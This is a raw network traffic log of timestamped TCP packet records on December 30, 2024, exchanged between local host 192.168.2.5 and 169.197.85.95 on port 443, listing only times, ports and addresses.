Dec 30, 2024 16:16:57.789141893 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.789150000 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.789176941 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.789264917 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.789287090 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.789294004 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.789319992 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.789324999 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.789398909 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.789438963 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.789438963 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.789447069 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.789525986 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.789550066 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.789581060 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.789581060 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.789588928 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.789627075 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.789715052 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.789751053 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.789751053 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.789757967 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.789850950 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.789885998 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.789908886 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.789915085 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.789915085 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.789922953 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.789947033 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.789947033 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.789993048 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.790024996 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.790034056 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.790034056 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.790040970 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.790071011 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.790899038 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.880534887 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.880573988 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.880601883 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.880628109 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.880712032 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.880737066 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.880788088 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.880788088 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.880806923 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.880820036 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.880850077 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.880856037 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.880903959 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.880948067 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.880986929 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.881011963 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.881016970 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.881016970 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.881025076 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.881041050 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.881068945 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.881068945 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.881103992 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.881181955 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.881202936 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.881210089 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.881221056 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.881232977 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.881253004 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.881264925 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.881264925 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.881273031 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.881297112 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.881355047 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.881400108 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.881448030 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.881505013 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.881572008 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.881613970 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.881644964 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.881664991 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.881670952 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.881681919 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.881707907 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.881707907 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.881716967 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.881735086 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.881759882 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.881762028 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.881798983 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.881798983 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.881805897 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.881886959 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.881911039 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.881932020 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.881938934 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.881988049 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.882065058 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.882097960 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.882121086 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.882128000 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.882128954 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.882143021 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.882164001 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.882164955 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.882164955 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.882185936 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.882191896 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.882236958 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.882345915 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.882375002 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.882401943 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.882416010 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.882416010 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.882424116 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.882441998 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.882488012 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.882584095 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.882837057 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.972894907 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.972928047 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.972969055 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.972985983 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.973025084 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.973025084 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.973028898 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.973041058 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.973069906 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.973102093 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.973113060 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.973124981 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.973125935 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.973166943 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.973166943 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.973175049 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.973202944 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.973227024 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.973252058 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.973272085 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.973283052 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.973402977 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.973433971 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.973458052 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.973475933 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.973484039 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.973500013 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.973500013 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.973548889 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.973556042 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.973565102 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.973594904 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.973602057 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.973634005 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.973673105 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.973673105 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.973681927 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.973733902 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.973766088 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.973798990 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.973798990 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.973812103 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.973854065 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.973891020 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.973898888 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.973912954 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.973937035 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.973944902 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.974023104 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.974029064 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.974092960 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.974097967 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.974184990 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.974535942 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.974560022 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.974625111 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.974626064 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.974627018 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.974634886 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.974658012 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.974699974 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.974699974 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.974709034 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.974786043 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.974797964 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.974807024 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.974817991 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.974831104 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.974845886 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.974874973 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.974874973 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.974881887 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.974905968 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.975713015 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.975739002 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.975776911 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.975778103 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.975785971 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.975872993 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.975944042 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.976000071 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.976042032 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.976094007 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.976094007 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.976103067 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.976138115 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.065556049 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.065603018 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.065634966 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.065670013 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.065701962 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.065701962 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.065701962 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.065713882 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.065749884 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.065748930 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.065748930 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.065767050 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.065800905 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.065800905 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.065927982 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.065962076 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.065996885 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.066008091 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.066008091 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.066015005 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.066028118 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.066046000 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.066087961 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.066133022 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.066133022 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.066140890 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.066153049 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.066188097 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.066247940 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.066255093 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.081532955 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.081558943 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.081592083 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.081599951 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.081636906 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.081693888 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.081724882 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.081751108 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.081759930 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.081759930 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.081768036 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.081780910 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.081793070 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.081804991 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.081810951 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.081821918 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.081852913 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.081876040 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.081885099 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.081898928 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.081901073 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.081926107 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.081968069 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.081968069 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.081974983 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.081988096 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.082020998 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.082051992 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.082051992 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.082061052 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.082086086 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.082099915 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.082099915 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.082108974 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.082125902 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.082129002 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.082159042 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.082194090 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.082196951 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.082196951 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.082205057 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.082236052 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.082253933 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.082253933 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.082263947 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.082272053 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.082326889 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.082326889 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.180330992 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.180380106 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.180411100 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.180439949 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.180439949 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.180440903 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.180453062 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.180489063 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.180489063 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.180489063 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.180497885 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.180555105 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.180591106 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.180591106 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.180604935 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.180643082 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.180680037 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.180680990 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.180689096 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.180825949 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.180866957 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.180896044 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.180907965 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.180907965 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.180917025 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.180951118 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.180951118 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.182033062 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.182080030 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.182106972 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.182106972 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.182113886 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.182533979 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.210719109 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.210796118 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.210833073 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.210834026 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.210834026 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.210843086 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.210874081 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.210901022 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.210911036 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.210911989 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.210920095 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.210943937 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.210943937 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.210982084 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.211057901 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.211083889 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.211091042 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.211119890 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.211153984 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.211153984 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.211163044 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.211255074 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.211282969 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.211289883 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.211308002 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.211349010 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.211388111 CET	443	49704	169.197.85.95	192.168.2.5
